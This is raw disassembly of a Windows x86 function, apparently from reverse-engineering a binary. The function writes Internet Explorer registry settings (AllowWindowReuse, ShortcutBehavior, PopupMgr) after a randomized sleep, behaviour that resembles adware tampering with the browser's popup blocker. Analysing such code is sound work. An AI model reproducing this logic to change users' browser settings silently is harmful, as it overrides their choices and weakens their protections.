mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x21c], 0
test esi, esi
je 0x4160a1
cmp dword [esi], 0
je 0x41609b
push str.Advapi32.dll
call ebx
test eax, eax
je 0x4160ef
push str.RegCreateKeyTransactedA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4160ef
push 0
push dword [esi]
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call eax
jmp 0x4160c8
push 0
call fcn.00559514
push eax
call fcn.00559483
add esp, 8
call fcn.00559462
mov ecx, dword [ebp - 0x224]
cdq
idiv dword [ecx + 0x140]
add edx, dword [ecx + 0x13c]
imul eax, edx, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x240]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x80]
mov byte [ebp - 4], 3
add ebx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [ebx + 0xc], eax
dec eax
test eax, eax
jg 0x41601d
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
or ebx, 0xffffffff
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x416040
push eax
call esi
mov byte [ebp - 4], 0
mov eax, ebx
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x41605e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 0x10]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x41607d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055026c
mov esp, ebp
pop ebp
ret 0x10
cmp dword [esi + 4], 0
je 0x4160ef
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
call edi
test eax, eax
jne 0x4160ef
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x4160dd
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x2cc]
push 4
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x238]
push 4
push 0
push str.AllowWindowReuse
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x416139
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x21c], 0
test esi, esi
je 0x4161ac
cmp dword [esi], 0
je 0x4161a6
push str.Advapi32.dll
call ebx
test eax, eax
je 0x4161fa
push str.RegCreateKeyTransactedA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4161fa
push 0
push dword [esi]
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerTabbedBrowsing
push SysReAllocStringLen
call eax
jmp 0x4161d3
cmp dword [esi + 4], 0
je 0x4161fa
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerTabbedBrowsing
push SysReAllocStringLen
call edi
test eax, eax
jne 0x4161fa
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x4161e8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x2d0]
push 4
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x238]
push 4
push 0
push str.ShortcutBehavior
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x416244
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x21c], 0
test esi, esi
je 0x4162b3
cmp dword [esi], 0
je 0x4162ad
push str.Advapi32.dll
call ebx
test eax, eax
je 0x4162fd
push str.RegCreateKeyTransactedA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4162fd
push 0
push dword [esi]
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerNew_Windows
push SysReAllocStringLen
call eax
jmp 0x4162da
cmp dword [esi + 4], 0
je 0x4162fd
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerNew_Windows
push SysReAllocStringLen
call edi
test eax, eax
jne 0x4162fd
mov eax, dword [ebp - 0x238]
test eax, eax
je 0x4162ef
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [ebp - 0x21c]
mov dword [ebp - 0x238], ebx
jmp 0x416303
mov ebx, dword [ebp - 0x238]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416310
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x218]
push eax
push 1
push 0
push str.PopupMgr
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x416349
push ebx
call esi
xor eax, eax
mov dword [ebp - 0x238], eax
or ebx, 0xffffffff
jmp 0x416026